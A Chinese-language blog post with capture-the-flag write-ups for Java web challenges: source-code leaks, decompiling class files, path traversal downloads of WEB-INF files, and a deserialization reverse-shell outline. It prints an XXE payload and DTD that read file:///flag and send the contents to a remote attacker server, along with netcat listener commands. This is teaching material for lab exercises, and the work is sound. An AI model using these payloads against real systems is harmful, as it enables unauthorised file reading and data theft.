85:CTF夺旗-JAVA考点反编译&XXE&反序列化

思维导图

Java常考点及出题思路

考点技术:xxe,spel表达式,反序列化,文件安全,最新框架插件漏洞等

设法间接给出源码或相关配置提示文件,间接性源码或直接源码体现等形式

CTF中常见Web源码泄露总结(参考:https://www.cnblogs.com/xishaonian/p/7628153.html)

  1. .ng源码泄露
  2. git源码泄露
  3. .Ds_store文件泄漏
  4. 网站备份压缩文件
  5. SVN导致文件泄露
  6. WEB-INF/web. xml泄露
  7. CVS泄漏

Java必备知识点

反编译,基础的Java代码认知及审计能力,熟悉相关最新的漏洞,常见漏洞等

本课重点:

  • 案例1:Java简单逆向解密-Reverse-buuoj-逆向源码
  • 案例2:RoarCTF-2019-easy_java-配置到源码
  • 案例3:网鼎杯2020-青龙组-filejava-ctfhub-配置到源码
  • 案例4:网鼎杯-朱雀组-Web-think_java-直接源码审计

案例1:Java简单逆向解密-Reverse-buuoj-逆向源码

靶场地址:https://buuoj.cn/challenges#Java逆向解密

知识点:java项目格式解析,加解密脚本等

下载提示文件-class反编译Java文件-加密算法-解密脚本

<1>下载附件,将源码用idea打开,分析加密算法,得知加密算法时是将原始key先加64再异或32得到加密后的key,如下图所示。

<2>自己编写一个解密算法,将加密后的key先异或32再减64,得到原始key。

案例2:RoarCTF-2019-easy_java-配置到源码

靶场地址:https://buuoj.cn/challenges#[RoarCTF%202019]Easy%20Java

知识点:下载漏洞利用,配置文件解析,Javaweb项目结构等

提示-下载漏洞-更换请求方法-获取源码配置文件-指向Flag-下载class-反编译

WEB-INF主要包含以下文件或目录:

  • /WEB-INF/web.xml:web应用程序配置文件,描述了servlet和其他的应用组件配置及命名规则。
  • /WEB-INF/classes/:包含了站点所有用的class文件,包括servlet class和非servlet class,他们不能包含在.jar文件中
  • /WEB-INF/lib/:存放web应用需要的各种JAR文件,放置仅在这个应用中要求使用的jar文件,如数据库驱动jar文件
  • /WEB-INF/src/:源码目录,按照包名结构放置各个java文件。
  • /WEB-INF/database.properties:数据库配置文件

漏洞检测以及利用方法:通过找到web.xml文件,推断class文件的路径,最后直接查看或下载class文件,再通过反编译class文件,得到网站源码

<1>进入场景,是个登录框

<2>点击help,显示如下,url为/Download?filename=help.docx,猜测有任意文件下载漏洞。

 

<3>尝试下载/WEB-INF/web.xml文件,失败。

<4>改为post请求方法提交,成功下载(这脑洞有点大,此后下载均用post)。

<5>根据web.xml内容,找到与Flag相关class,尝试下载,下载成功

POST /Download?filename=/WEB-INF/classes/com/wm/ctf/FlagController.class

 

<6>反编译class文件,得到网站源码,找到base64编码后的flag。

<7>经过base64解码,得到flag。

案例3:网鼎杯2020-青龙组-filejava-ctfhub-配置到源码

https://xz.aliyun.com/t/7272 一篇文章读懂Java代码审计之XXE
https://www.jianshu.com/p/73cd11d83c30 Apache POI XML外部实体(XML External Entity,XXE)攻击详解
https://blog.spoock.com/2018/10/23/java-xxe/ JAVA常见的XXE漏洞写法和防御
https://www.cnblogs.com/tr1ple/p/12522623.html Java XXE漏洞典型场景分析

靶场地址:https://www.ctfhub.com/#/challenge 搜索FileJava

过关思路:
JavaWeb程序,编译class格式,配置文件获取文件路径信息,IDEA打开查看
../../../../WEB-INF/web.xml
../../../../WEB-INF/classes/cn/abc/servlet/DownloadServlet.class
../../../../WEB-INF/classes/cn/abc/servlet/ListFileServlet.class
../../../../WEB-INF/classes/cn/abc/servlet/UploadServlet.class
代码审计Javaweb代码,发现flag位置,文件下载获取?过滤,利用漏洞XXE安全

<1>页面打开如下,是一个文件上传功能。

<2>随便上传一个文件,发现返回一个文件下载链接。

<3>点击文件下载,看到请求包格式,猜测有任意文件下载漏洞。

<4>构造filename值,尝试下载/WEB-INF/web.xml文件,下载成功

<5>根据/WEB-INF/web.xml文件内容,找到class文件,全部下载

filename=../../../../WEB-INF/classes/cn/abc/servlet/DownloadServlet.class
filename=../../../../WEB-INF/classes/cn/abc/servlet/ListFileServlet.class
filename=../../../../WEB-INF/classes/cn/abc/servlet/UploadServlet.class

<6>idea反编译class文件,得到网站源码,分析源码,发现文件下载时过滤flag关键字,因此不能在此处直接下载flag文件。

<7>继续分析源码,找到poi-ooxml-3.10,该版本存在XXE漏洞(CVE-2014-3529)

<8>构造上传文件

(a)本地新建excel-aaa.xlsx文件,修改后缀名.zip,打开压缩包,其中有[Content-Types].xml文件。

 (b)修改[Content-Types].xml,第二行添加如下内容,保存。

<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://远程服务器IP:3333/xxx.dtd">
%remote;%int;%send;
]>

(c)将修改后的压缩包重新修改后缀为.xlsx文件

<9>构造远程监控

(a)进入远程服务器WEB根目录,创建文件xxx.dtd,添加内容

<!ENTITY % file SYSTEM "file:///flag">
<!ENTITY % int "<!ENTITY % send SYSTEM '远程服务器IP:3333/%file;'>">

(b)启动监控 :nc -lvvp 3333

<10>一切准备就绪,上传excel-aaa.xlsx文件

<11>查看nc监听结果,得到flag

案例4:网鼎杯-朱雀组-Web-think_java-直接源码审计

靶场地址:https://www.ctfhub.com/\#/challenge

解题思路:

  • 注入判断,获取管理员帐号密码
  • /swagger-ui.html接口测试,回显序列化token(rO0AB开头)
  • SerializationDumper工具生成反序列化payload(反弹shell)-->base64编码-->最终payload
  • 使用该payload访问接口/common/user/current
  • 启动监听,获取flag:nc -lvvp 4444

具体解题步骤参考:38:WEB漏洞-反序列化之PHP&JAVA全解(下)(https://www.cnblogs.com/zhengna/p/15737517.html)

posted @ 2022-01-17 17:38  zhengna  阅读(2194)  评论(0编辑  收藏  举报